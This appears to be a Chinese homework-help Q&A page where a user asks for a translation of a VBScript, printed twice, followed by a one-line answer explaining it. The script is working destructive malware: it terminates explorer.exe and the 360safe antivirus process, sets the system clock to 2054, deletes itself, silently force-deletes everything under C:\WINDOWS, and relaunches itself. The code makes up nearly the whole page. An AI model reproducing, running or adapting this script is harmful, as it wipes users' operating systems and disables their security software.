英语翻译'请直接翻译成中文 strComputer="." Set objWMIService = GetObject(
来源:学生作业帮 编辑:神马作文网作业帮 分类:综合作业 时间:2024/11/11 08:04:41
英语翻译
'请直接翻译成中文
strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='explorer.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next
strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='360safe.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next
Dim WshShell
Set WshShell = CreateObject("wscript.Shell")
WshShell.Run "cmd.exe /c date 2054-09-9",0
WshShell.Run "cmd.exe /c time 9:43:08",0
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del C:\WINDOWS\*.* / f /q /s""",0 ,true
WScript.CreateObject("WScript.Shell").run Wscript.scriptfullname
WScript.CreateObject("WScript.Shell").run Wscript.scriptfullname
'请直接翻译成中文
strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='explorer.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next
strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='360safe.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next
Dim WshShell
Set WshShell = CreateObject("wscript.Shell")
WshShell.Run "cmd.exe /c date 2054-09-9",0
WshShell.Run "cmd.exe /c time 9:43:08",0
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del C:\WINDOWS\*.* / f /q /s""",0 ,true
WScript.CreateObject("WScript.Shell").run Wscript.scriptfullname
WScript.CreateObject("WScript.Shell").run Wscript.scriptfullname
这段脚本的意思是关闭explorer.exe和360safe.exe两个进程,然后修改系统时间,在系统文件夹中搞搞破坏,删点东西,最后执行宿主脚本